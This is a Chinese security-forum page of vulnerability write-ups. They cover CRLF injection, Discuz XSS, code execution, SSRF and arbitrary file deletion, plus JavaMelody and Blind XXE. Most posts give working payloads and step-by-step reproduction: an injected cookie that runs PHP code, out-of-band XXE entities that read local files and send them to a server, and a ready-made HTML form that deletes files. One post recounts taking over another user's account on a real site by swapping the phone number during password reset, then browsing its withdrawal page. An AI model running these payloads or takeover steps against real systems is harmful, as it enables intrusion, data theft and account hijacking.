CRLF注入漏洞讲解

Web安全渗透ttgo2 发表了文章 • 2 个评论 • 148 次浏览 • 2018-10-21 09:23 • 来自相关话题

CRLF Injection很少遇见,这次被我逮住了。我看zone中(http://zone.wooyun.org/content/13323)还有一些同学对于这个漏洞不甚了解,甚至分不清它与CSRF,我详细说一下吧。
1 什么是CRLF注入
CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。
HRS是比XSS危害更大的安全问题,具体是为什么,我们往下看。
对于HRS最简单的利用方式是注入两个\r\n,之后在写入XSS代码,来构造一个xss。
2 举例说明
举个例子,一般网站会在HTTP头中用Location: http://baidu.com这种方式来进行302跳转,所以我们能控制的内容就是Location:后面的XXX某个网址。
所以一个正常的302跳转包是这样:HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: [url]http://www.xxx.com.cn[/url]

但如果我们输入的是
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun

注入了一个换行,此时的返回包就会变成这样:
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun

这个时候这样我们就给访问者设置了一个SESSION,造成一个“会话固定漏洞”。
当然,HRS并不仅限于会话固定,通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。
比如一个网站接受url参数http://test.sina.com.cn/?url=xxx,xxx放在Location后面作为一个跳转。如果我们输入的是:
http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

我们的返回包就会变成这样:
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location:

<img src=1 onerror=alert(/xss/)>

之前说了浏览器会根据第一个CRLF把HTTP包分成头和体,然后将体显示出来。于是我们这里<img>这个标签就会显示出来,造成一个XSS。
为什么说是无视浏览器filter的,这里涉及到另一个问题。
浏览器的Filter是浏览器应对一些反射型XSS做的保护策略,当url中含有XSS相关特征的时候就会过滤掉不显示在页面中,所以不能触发XSS。
怎样才能关掉filter?一般来说用户这边是不行的,只有数据包中http头含有X-XSS-Protection并且值为0的时候,浏览器才不会开启filter。
说到这里应该就很清楚了,HRS不正是注入HTTP头的一个漏洞吗,我们可以将X-XSS-Protection:0注入到数据包中,再用两个CRLF来注入XSS代码,这样就成功地绕过了浏览器filter,并且执行我们的反射型XSS。
所以说HRS的危害大于XSS,因为它能绕过一般XSS所绕不过的filter,并能产生会话固定漏洞。
我们来一个真实案例吧。
某分站含有一个url跳转漏洞,危害并不大,于是我就想到了CRLF Injection,当我测试
http://xxx.aa.com.cn/?url=%0a%0d%0a%0d%3Cimg%20src=1%3E

的时候,发现图片已经输出在页面中了,说明CRLF注入成功了:





  查看全部
CRLF Injection很少遇见,这次被我逮住了。我看zone中(http://zone.wooyun.org/content/13323)还有一些同学对于这个漏洞不甚了解,甚至分不清它与CSRF,我详细说一下吧。
1 什么是CRLF注入
CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。
HRS是比XSS危害更大的安全问题,具体是为什么,我们往下看。
对于HRS最简单的利用方式是注入两个\r\n,之后在写入XSS代码,来构造一个xss。
2 举例说明
举个例子,一般网站会在HTTP头中用
Location: 
http://baidu.com这种方式来进行302跳转,所以我们能控制的内容就是Location:后面的XXX某个网址。
所以一个正常的302跳转包是这样:
HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: [url]http://www.xxx.com.cn[/url]

但如果我们输入的是
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun

注入了一个换行,此时的返回包就会变成这样:
HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun

这个时候这样我们就给访问者设置了一个SESSION,造成一个“会话固定漏洞”。
当然,HRS并不仅限于会话固定,通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。
比如一个网站接受url参数http://test.sina.com.cn/?url=xxx,xxx放在Location后面作为一个跳转。如果我们输入的是:
http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

我们的返回包就会变成这样:
HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location:

<img src=1 onerror=alert(/xss/)>

之前说了浏览器会根据第一个CRLF把HTTP包分成头和体,然后将体显示出来。于是我们这里<img>这个标签就会显示出来,造成一个XSS。
为什么说是无视浏览器filter的,这里涉及到另一个问题。
浏览器的Filter是浏览器应对一些反射型XSS做的保护策略,当url中含有XSS相关特征的时候就会过滤掉不显示在页面中,所以不能触发XSS。
怎样才能关掉filter?一般来说用户这边是不行的,只有数据包中http头含有X-XSS-Protection并且值为0的时候,浏览器才不会开启filter。
说到这里应该就很清楚了,HRS不正是注入HTTP头的一个漏洞吗,我们可以将X-XSS-Protection:0注入到数据包中,再用两个CRLF来注入XSS代码,这样就成功地绕过了浏览器filter,并且执行我们的反射型XSS。
所以说HRS的危害大于XSS,因为它能绕过一般XSS所绕不过的filter,并能产生会话固定漏洞。
我们来一个真实案例吧。
某分站含有一个url跳转漏洞,危害并不大,于是我就想到了CRLF Injection,当我测试
http://xxx.aa.com.cn/?url=%0a%0d%0a%0d%3Cimg%20src=1%3E

的时候,发现图片已经输出在页面中了,说明CRLF注入成功了:

4efd1404082196.jpg

 

Discuz! 帖子正文存在存储型xss漏洞

zksmile 发表了文章 • 0 个评论 • 108 次浏览 • 2018-10-19 11:24 • 来自相关话题

0x01漏洞范围
 discuz 7.x 成功
discuz!X 3.1 成功
discuz!X 3.2 失败
具体的范围需要实际测试
 
0x02漏洞详情
 需要开启多媒体代码功能(这个目前很多大站开启了)
source\function\function_discuzcode.phpif(strpos($msglower, '[/flash]') !== FALSE) {
$message = preg_replace("/\[flash(=(\d+),(\d+))?\]\s*([^\[\<\r\n]+?)\s*\[\/flash\]/ies”, $allowmediacode ? "parseflash('\\2', '\\3', '\\4');" : "bbcodeurl('\\4', '<a href=\"{url}\" target=\"_blank\">{url}</a>')", $message);}跟踪parseflash函数:function parseflash($w, $h, $url) {
$w = !$w ? 550 : $w;
$h = !$h ? 400 : $h;
preg_match("/((https?){1}:\/\/|www\.)[^\[\"'\?]+(\.swf|\.flv)(\?.+)?/i", $url, $matches);
$url = $matches[0];
$randomid = 'swf_'.random(3);
if(fileext($url) != 'flv') {
return '<span id="'.$randomid.'"></span><script type="text/javascript" reload="1">$(\''.$randomid.'\').innerHTML=AC_FL_RunContent(\'width\', \''.$w.'\', \'height\', \''.$h.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', encodeURI(\''.$url.'\'), \'quality\', \'high\', \'bgcolor\', \'#ffffff\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\');</script>';
} else {
return '<span id="'.$randomid.'"></span><script type="text/javascript" reload="1">$(\''.$randomid.'\').innerHTML=AC_FL_RunContent(\'width\', \''.$w.'\', \'height\', \''.$h.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', \''.STATICURL.'image/common/flvplayer.swf\', \'flashvars\', \'file='.rawurlencode($url).'\', \'quality\', \'high\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\');</script>';
}
}可以看出preg_match("/((https?){1}:\/\/|www\.)[^\[\"'\?]+(\.swf|\.flv)(\?.+)?/i", $url, $matches);正则处理不当(\?.+)
从而可以带进“'”到 encodeURI(\''.$url.'\'),从而造成存储型xss
到 encodeURI(\''.$url.'\'),从而造成存储型xss。
 
0x03 漏洞证明:
 找一篇帖子回复:[flash]http://localhost/flash.swf?'+alert('zksmile')+'[/flash]7.x 截图如下:





 
x 3.1截图如下:





  查看全部
0x01漏洞范围
 
discuz 7.x 成功
discuz!X 3.1 成功
discuz!X 3.2 失败
具体的范围需要实际测试

 
0x02漏洞详情
 需要开启多媒体代码功能(这个目前很多大站开启了)
source\function\function_discuzcode.php
if(strpos($msglower, '[/flash]') !== FALSE) {
$message = preg_replace("/\[flash(=(\d+),(\d+))?\]\s*([^\[\<\r\n]+?)\s*\[\/flash\]/ies”, $allowmediacode ? "parseflash('\\2', '\\3', '\\4');" : "bbcodeurl('\\4', '<a href=\"{url}\" target=\"_blank\">{url}</a>')", $message);}
跟踪parseflash函数:
function parseflash($w, $h, $url) {
$w = !$w ? 550 : $w;
$h = !$h ? 400 : $h;
preg_match("/((https?){1}:\/\/|www\.)[^\[\"'\?]+(\.swf|\.flv)(\?.+)?/i", $url, $matches);
$url = $matches[0];
$randomid = 'swf_'.random(3);
if(fileext($url) != 'flv') {
return '<span id="'.$randomid.'"></span><script type="text/javascript" reload="1">$(\''.$randomid.'\').innerHTML=AC_FL_RunContent(\'width\', \''.$w.'\', \'height\', \''.$h.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', encodeURI(\''.$url.'\'), \'quality\', \'high\', \'bgcolor\', \'#ffffff\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\');</script>';
} else {
return '<span id="'.$randomid.'"></span><script type="text/javascript" reload="1">$(\''.$randomid.'\').innerHTML=AC_FL_RunContent(\'width\', \''.$w.'\', \'height\', \''.$h.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', \''.STATICURL.'image/common/flvplayer.swf\', \'flashvars\', \'file='.rawurlencode($url).'\', \'quality\', \'high\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\');</script>';
}
}
可以看出
preg_match("/((https?){1}:\/\/|www\.)[^\[\"'\?]+(\.swf|\.flv)(\?.+)?/i", $url, $matches);
正则处理不当
(\?.+)

从而可以带进“'”到 encodeURI(\''.$url.'\'),从而造成存储型xss
到 encodeURI(\''.$url.'\'),从而造成存储型xss。
 
0x03 漏洞证明:
 找一篇帖子回复:
[flash]http://localhost/flash.swf?'+alert('zksmile')+'[/flash]
7.x 截图如下:

1.png

 
x 3.1截图如下:

2.png

 

Discuz! 6.x/7.x 全局变量防御绕过导致命令执行

zksmile 发表了文章 • 0 个评论 • 123 次浏览 • 2018-10-18 16:15 • 来自相关话题

0x01 漏洞概述

由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞。
 
0x02 漏洞分析
 
include/global.func.php代码里:function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
return $string;
}
 
include/common.inc.php里:foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}
 
在GPC为off时会调用addslashes()函数处理变量值,但是如果直接使用$_GET/$_POST/$_COOKIE这样的变量,这个就不起作用了,然而dz的源码里直接使用$_GET/$_POST/$_COOKIE的地方很少,存在漏洞的地方更加少。
不过还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {
exit('Request tainting attempted.');
}
这样就没法提交GLOBALS变量了么?
$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了
 
0x03漏洞复现
直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();




  查看全部
0x01 漏洞概述

由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞。
 
0x02 漏洞分析
 
include/global.func.php代码里:
function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
return $string;
}

 
include/common.inc.php里:
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}

 
在GPC为off时会调用addslashes()函数处理变量值,但是如果直接使用$_GET/$_POST/$_COOKIE这样的变量,这个就不起作用了,然而dz的源码里直接使用$_GET/$_POST/$_COOKIE的地方很少,存在漏洞的地方更加少。
不过还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:
if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {
exit('Request tainting attempted.');
}

这样就没法提交GLOBALS变量了么?
$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了
 
0x03漏洞复现
直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

1.png

 

JavaMelody组件XXE漏洞解析

Web安全渗透ttgo2 发表了文章 • 0 个评论 • 45 次浏览 • 2018-10-14 18:29 • 来自相关话题

文章转载:https://mp.weixin.qq.com/s/Tca3GGPCIc7FZaubUTh18Q
0x00 概述

JavaMelody是一个用来对Java应用进行监控的组件。通过该组件,用户可以对内存、CPU、用户session甚至SQL请求等进行监控,并且该组件提供了一个可视化界面给用户使用。

最近,该组件被爆出一个XXE漏洞——CVE-2018-15531,由于该组件的启动特性,攻击者无需特定的权限即可发起攻击。
 
0x01 漏洞复现

我们使用SpringBoot web来搭建基础项目,然后将JavaMelody集成进来,在maven中配置如下:





访问http://127.0.0.1/monitoring出现如下页面表示环境搭建成功





由于这里是没有回显的,因此可以使用Blind XXE来读取文件进行攻击:





DTD文件构造如下:





 
在JavaMelody的默认配置下,直接发包就可以触发该漏洞。

需要注意的是,构造回显通道时,如果是低版本的jdk,可以直接使用gopher协议回传。如果是高版本jdk,则不支持gopher协议,那么可以使用FTP回显技巧来读取多行文件。
 
0x02 漏洞细节

我们先来看一下官方的补丁代码:

https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353
 
可以看到,官方在net/bull/javamelody/PayloadNameRequestWrapper.java中新增了对XMLInputFactory配置的代码,禁用了外部实体解析和dtd实体解析。因此,很容易判断出这里是一个XXE漏洞。
为什么这个漏洞随意发包即可触发漏洞呢?这和JavaMelody启动过程有关。在触发该漏洞后,我们在PayloadNameRequestWrapper中下断点:




通过调用历史信息可以发现,请求进入了一个MonitoringFilter拦截器中。
Springboot中肯定是没有配置这个filter的,查看jar包发现,该拦截器是通过web-fragment.xml进行的配置:





在配置项中我们可以发现这个filter默认是处理所有请求:





因此,外部请求会进入MonitoringFilter的doFilter方法,之后调用了createRequestWrapper方法:





然后来到了PayloadNameRequestWrapper-> initialize方法中




在处理soap相关的content-type时,只关注application/soap+xml,text/xml。如果发现content-type类型满足if条件,则调用parseSoapMethodName方法执行解析,继续跟进该方法:





0x03 漏洞修复
该漏洞修复比较简单,直接更新JavaMelody至1.74.0即可,或者自己写拦截器来处理恶意请求。

当然,值得注意的是,如果泄漏了/monitoring路由,其实本身就是一个很严重的信息泄露漏洞。因为JavaMelody提供了非常丰富的功能,比如执行gc,杀掉线程,查看SQL请求,查看系统信息、进程,查看数据库schema信息等。
  查看全部
文章转载:https://mp.weixin.qq.com/s/Tca3GGPCIc7FZaubUTh18Q
0x00 概述

JavaMelody是一个用来对Java应用进行监控的组件。通过该组件,用户可以对内存、CPU、用户session甚至SQL请求等进行监控,并且该组件提供了一个可视化界面给用户使用。

最近,该组件被爆出一个XXE漏洞——CVE-2018-15531,由于该组件的启动特性,攻击者无需特定的权限即可发起攻击。
 
0x01 漏洞复现

我们使用SpringBoot web来搭建基础项目,然后将JavaMelody集成进来,在maven中配置如下:

20180921164234342.png

访问http://127.0.0.1/monitoring出现如下页面表示环境搭建成功

20180921164323297.png

由于这里是没有回显的,因此可以使用Blind XXE来读取文件进行攻击:

20180921164329795.png

DTD文件构造如下:

20180921164334774.png

 
在JavaMelody的默认配置下,直接发包就可以触发该漏洞。

需要注意的是,构造回显通道时,如果是低版本的jdk,可以直接使用gopher协议回传。如果是高版本jdk,则不支持gopher协议,那么可以使用FTP回显技巧来读取多行文件。
 
0x02 漏洞细节

我们先来看一下官方的补丁代码:

https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353
 
可以看到,官方在net/bull/javamelody/PayloadNameRequestWrapper.java中新增了对XMLInputFactory配置的代码,禁用了外部实体解析和dtd实体解析。因此,很容易判断出这里是一个XXE漏洞。
为什么这个漏洞随意发包即可触发漏洞呢?这和JavaMelody启动过程有关。在触发该漏洞后,我们在PayloadNameRequestWrapper中下断点:
20180921164348851.png

通过调用历史信息可以发现,请求进入了一个MonitoringFilter拦截器中。
Springboot中肯定是没有配置这个filter的,查看jar包发现,该拦截器是通过web-fragment.xml进行的配置:

20180921164354943.png

在配置项中我们可以发现这个filter默认是处理所有请求:

20180921164400415.png

因此,外部请求会进入MonitoringFilter的doFilter方法,之后调用了createRequestWrapper方法:

20180921164409166.png

然后来到了PayloadNameRequestWrapper-> initialize方法中
20180921164414844.png

在处理soap相关的content-type时,只关注application/soap+xml,text/xml。如果发现content-type类型满足if条件,则调用parseSoapMethodName方法执行解析,继续跟进该方法:
20180921164420245.png


0x03 漏洞修复
该漏洞修复比较简单,直接更新JavaMelody至1.74.0即可,或者自己写拦截器来处理恶意请求。

当然,值得注意的是,如果泄漏了/monitoring路由,其实本身就是一个很严重的信息泄露漏洞。因为JavaMelody提供了非常丰富的功能,比如执行gc,杀掉线程,查看SQL请求,查看系统信息、进程,查看数据库schema信息等。
 

Blind XXE总结

Web安全渗透ttgo2 发表了文章 • 0 个评论 • 60 次浏览 • 2018-10-14 18:14 • 来自相关话题

文章转载:http://blog.csdn.net/u011721501
XXE漏洞是针对使用XML交互的Web应用程序的攻击方法,在XEE漏洞的基础上,发展出了Blind XXE漏洞。目前来看,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛,此外,网上有一些在线XML格式化工具也存在过问题,如开源中国的在线XML格式化工具XXE漏洞:
 
1、Blind XXE用途

对于传统的XXE来说,要求有一点,就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如:

提交请求:

<!ENTITY file SYSTEM “file:///etc/passwd”>
<username>&file;</username>服务器在这个节点中返回etc/passwd的文件内容
<username>root:1:3.......</username>2、参数实体和内部参数实体

Blink XXE主要使用了DTD约束中的参数实体和内部实体。

参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">
%param1;
]>
<root>
[This is my site] &internal;
</root>

但是在我研究过程中,发现内部实体的这支持与否也是取决于解释器的。















这也是比较蛋疼的特性,因为php,java,C#等语言的内置XML解析器都是有一定差别的,也就给漏洞利用带来不便
 
3、Blind XXE原理

带外数据通道的建立是使用嵌套形式,利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。

直接在内部实体定义中引用另一个实体的方法如下,但是这种方法行不通。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "http://127.0.0.1/?%param1">
%param2;
]>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>
[This is my site]
</root>
!但是这样做行不通,原因是不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。





解决方案是:

将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。
 
 
  查看全部
文章转载:http://blog.csdn.net/u011721501
XXE漏洞是针对使用XML交互的Web应用程序的攻击方法,在XEE漏洞的基础上,发展出了Blind XXE漏洞。目前来看,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛,此外,网上有一些在线XML格式化工具也存在过问题,如开源中国的在线XML格式化工具XXE漏洞:
 
1、Blind XXE用途

对于传统的XXE来说,要求有一点,就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如:

提交请求:

<!ENTITY file SYSTEM “file:///etc/passwd”>
<username>&file;</username>
服务器在这个节点中返回etc/passwd的文件内容
<username>root:1:3.......</username>
2、参数实体和内部参数实体

Blink XXE主要使用了DTD约束中的参数实体和内部实体。

参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">
%param1;
]>
<root>
[This is my site] &internal;
</root>

但是在我研究过程中,发现内部实体的这支持与否也是取决于解释器的。

20150212232005377.png


20150212232029757.png


20150212232027529.png

这也是比较蛋疼的特性,因为php,java,C#等语言的内置XML解析器都是有一定差别的,也就给漏洞利用带来不便
 
3、Blind XXE原理

带外数据通道的建立是使用嵌套形式,利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。

直接在内部实体定义中引用另一个实体的方法如下,但是这种方法行不通。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "http://127.0.0.1/?%param1">
%param2;
]>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>
[This is my site]
</root>
但是这样做行不通,原因是不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。

20150212232152362.png

解决方案是:

将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。
 
 
 

Discuz! SSRF无须登陆无须条件

zksmile 发表了文章 • 0 个评论 • 67 次浏览 • 2018-10-12 18:58 • 来自相关话题

0x01 前言
 
这个Discuz 的SSRF也是之前实战挖掘过程中经常遇到的一个洞,在这里分享给大家,以后遇到也可以测试一波。
 
0x02 漏洞分析
http://www.secevery.com:4321/bugs/wooyun-2015-0151179
 
0x03漏洞复现http://xxxx/forum.php?mod=ajax&action=downremoteimg&message=[img]http://xxxxxxxxxxxxxx.jpg[/img]&formhash=09cec465
 
这里我们准备一个远程的vps并开启web服务,也可以使用dnslog工具。





将message参数中的链接替换为vps的地址,然后发送请求。





 
通过判断web访问日志查看这个IP来判断目标是否存在SSRF漏洞。
3.x 版本如果请求提示xss拦截要带上 formhash 加cookie,之前版本好像不用。 查看全部
0x01 前言
 
这个Discuz 的SSRF也是之前实战挖掘过程中经常遇到的一个洞,在这里分享给大家,以后遇到也可以测试一波。
 
0x02 漏洞分析
http://www.secevery.com:4321/bugs/wooyun-2015-0151179
 
0x03漏洞复现
http://xxxx/forum.php?mod=ajax&action=downremoteimg&message=[img]http://xxxxxxxxxxxxxx.jpg[/img]&formhash=09cec465

 
这里我们准备一个远程的vps并开启web服务,也可以使用dnslog工具。

6.png

将message参数中的链接替换为vps的地址,然后发送请求。

7.png

 
通过判断web访问日志查看这个IP来判断目标是否存在SSRF漏洞。
3.x 版本如果请求提示xss拦截要带上 formhash 加cookie,之前版本好像不用。

Discuz!X 3.4 任意文件删除漏洞

zksmile 发表了文章 • 0 个评论 • 65 次浏览 • 2018-10-12 18:20 • 来自相关话题

0x01 前言
Discuz!X社区软件,是一个采用PHP 和MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。
 
2017年9月29日,Discuz!修复了一个安全问题用于加强安全性,这个漏洞会导致前台用户可以导致任意删除文件漏洞。
 
2017年9月29日,知道创宇404 实验室开始应急,经过知道创宇404实验室分析确认,该漏洞于2014年6月被提交到Wooyun漏洞平台,Seebug漏洞平台收录了该漏洞,漏洞编号ssvid-93588。该漏洞通过配置属性值,导致任意文件删除。
 
经过分析确认,原有的利用方式已经被修复,添加了对属性的formtype判断,但修复方式不完全导致可以绕过,通过模拟文件上传可以进入其他unlink条件,实现任意文件删除漏洞。
 0x02 影响范围Discuz!X ≤3.4
0x03 漏洞分析
https://lorexxar.cn/2017/09/30/dz-delete/
 
0x04 漏洞复现
1、注册一个用户并成功登陆,之后在【设置】中找到自己的formhash:



然后发送post请求home.php?mod=spacecp&ac=profile&op=base

POST的参数为:birthprovince=../../../robots.txt&profilesubmit=1&formhash=8b30b403

其中formhash替换为自己的formhash



刷新个人资料页面就会看到出生地已经被我们插入脏数据.





2.在本地新建一个up.html,将html中的ip改为目标,将formhash改为自己的。    <body>
<form action="http://【ip】/home.php?mod=spacecp&ac=profile&op=base" method="post" enctype="multipart/form-data">
<input type="hidden" name="formhash" value="4e34bb4d">
<input type="file" name="birthprovince" />
<input type="hidden" name="profilesubmit" value="1">
<input type="submit" value="upload" />
</form>
</body>打开up.html,在本地选择一张正常的图片上传,提交之后robots.txt已经被我们删除。









  查看全部
0x01 前言
Discuz!X社区软件,是一个采用PHP 和MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。
 
2017年9月29日,Discuz!修复了一个安全问题用于加强安全性,这个漏洞会导致前台用户可以导致任意删除文件漏洞。
 
2017年9月29日,知道创宇404 实验室开始应急,经过知道创宇404实验室分析确认,该漏洞于2014年6月被提交到Wooyun漏洞平台,Seebug漏洞平台收录了该漏洞,漏洞编号ssvid-93588。该漏洞通过配置属性值,导致任意文件删除。
 
经过分析确认,原有的利用方式已经被修复,添加了对属性的formtype判断,但修复方式不完全导致可以绕过,通过模拟文件上传可以进入其他unlink条件,实现任意文件删除漏洞。
 0x02 影响范围
Discuz!X ≤3.4

0x03 漏洞分析
https://lorexxar.cn/2017/09/30/dz-delete/
 
0x04 漏洞复现
1、注册一个用户并成功登陆,之后在【设置】中找到自己的formhash:
1.png

然后发送post请求
home.php?mod=spacecp&ac=profile&op=base

POST的参数为:birthprovince=../../../robots.txt&profilesubmit=1&formhash=8b30b403

其中formhash替换为自己的formhash
2.png

刷新个人资料页面就会看到出生地已经被我们插入脏数据.

3.png

2.在本地新建一个up.html,将html中的ip改为目标,将formhash改为自己的。    
<body>
<form action="http://【ip】/home.php?mod=spacecp&ac=profile&op=base" method="post" enctype="multipart/form-data">
<input type="hidden" name="formhash" value="4e34bb4d">
<input type="file" name="birthprovince" />
<input type="hidden" name="profilesubmit" value="1">
<input type="submit" value="upload" />
</form>
</body>
打开up.html,在本地选择一张正常的图片上传,提交之后robots.txt已经被我们删除。
4.png


5.png

 

一发任意用户密码重置(一直在潜水,出来冒个泡)

zzqsmile 发表了文章 • 10 个评论 • 204 次浏览 • 2018-10-12 11:23 • 来自相关话题

今天运气真好,早上上班来随便在盒子转转,找到个任意密码重置,加入社区好长时间了,也没发过一篇文章。
 
原因嘛,小白一个实在想分享却拿不出东西上台面,今天就算是潜水的我出来冒个泡吧
 
1.来到某网站注册页面,习惯性输入手机号18888888888,发现已经注册
 




 
2.然后去找回密码页面,如下图,正常流程填写要找回的手机号,下一步 :
 




3.然后下面一步是接收验证码,找回密码的关键地方到了





 F12审查元素,修改手机号为自己手机号如下图所示
 





4.然后点击获取验证码,自己手机号收到验证码如下:
 





然后填写验证码,进行下一步
 




然后点击下一步成功来到了重置密码界面如下所示:





 5.填写完新密码下一步,成功修改完毕,如下图所示:
 







6.最后我们看疗效
 





 
然后既然成功登陆了就随便看看呗
 





点击提现看看
 





很好奇,如果有钱能不能提现成功。
  查看全部
今天运气真好,早上上班来随便在盒子转转,找到个任意密码重置,加入社区好长时间了,也没发过一篇文章。
 
原因嘛,小白一个实在想分享却拿不出东西上台面,今天就算是潜水的我出来冒个泡吧
 
1.来到某网站注册页面,习惯性输入手机号18888888888,发现已经注册
 
1.png

 
2.然后去找回密码页面,如下图,正常流程填写要找回的手机号,下一步 :
 
2.png

